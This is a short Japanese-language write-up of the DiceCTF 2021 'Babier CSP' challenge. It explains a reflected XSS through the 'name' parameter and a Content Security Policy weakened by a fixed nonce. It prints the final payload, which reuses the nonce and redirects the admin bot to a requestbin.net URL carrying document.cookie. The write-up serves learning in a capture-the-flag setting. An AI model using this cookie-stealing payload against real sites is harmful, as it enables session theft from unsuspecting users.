DiceCTF 2021 - Babier CSP
問題概要
Baby CSP was too hard for us, try Babier CSP.
babier-csp.dicec.tf
Admin Bot
The admin will set a cookiesecret
equal toconfig.secret
in index.js.
Downloads
index.js
XSSだ!と見た瞬間分かるやつです。が、そこからがCSPの始まり。
解説
CSPを破ってXSSする
urlParamとしてname
に与えた箇所がそのままDOMとして入るので、name=<script>alert("XSS");</script>
等と入れるとスクリプトタグが挿入されます。が、実行されません。
それもそのはずで、Response Headerを見るとcontent-security-policy: default-src none; script-src: 'nonce-xxxx';
という項目があります。ざっくりと説明すると、「scriptタグを動かすにはnonceがヘッダにある内容と一致してないとブラウザが動かさないよ!」というものです。実際にhtml上にあるonclickのscriptには正しいnonceがセットされています。admin botがリンクを踏むスタイルなので当然nonceを無効化することは出来ません。
サーバーのexpressプログラムを見たり、何度か更新をかけてnonceを見てみると、「nonceが固定値である」という脆弱性に気づきます。なら、name=<script nonce=xxxx>alert("XSS");</script>
なら動く?動きました。
admin botのcookieを読み取る
admin botのcookieの中身が欲しいのですが、CORS制限でfetch等は使えません。ということで、リダイレクトをしてrequestbin.netに飛ばします。以下使用したpayloadです。
https://babier-csp.dicec.tf?name=<script nonce=????>
document.location.href = "http://requestbin.net/r/xxxxx?flag=" + document.cookie;
</script>
requestbin.netはHTTPサーバーを立ててそこにリクエストがあった際のデータを収集することが出来ます。今回はパラメータとしてflag=[cookie]としており、これも取得することが出来ます。
Discussion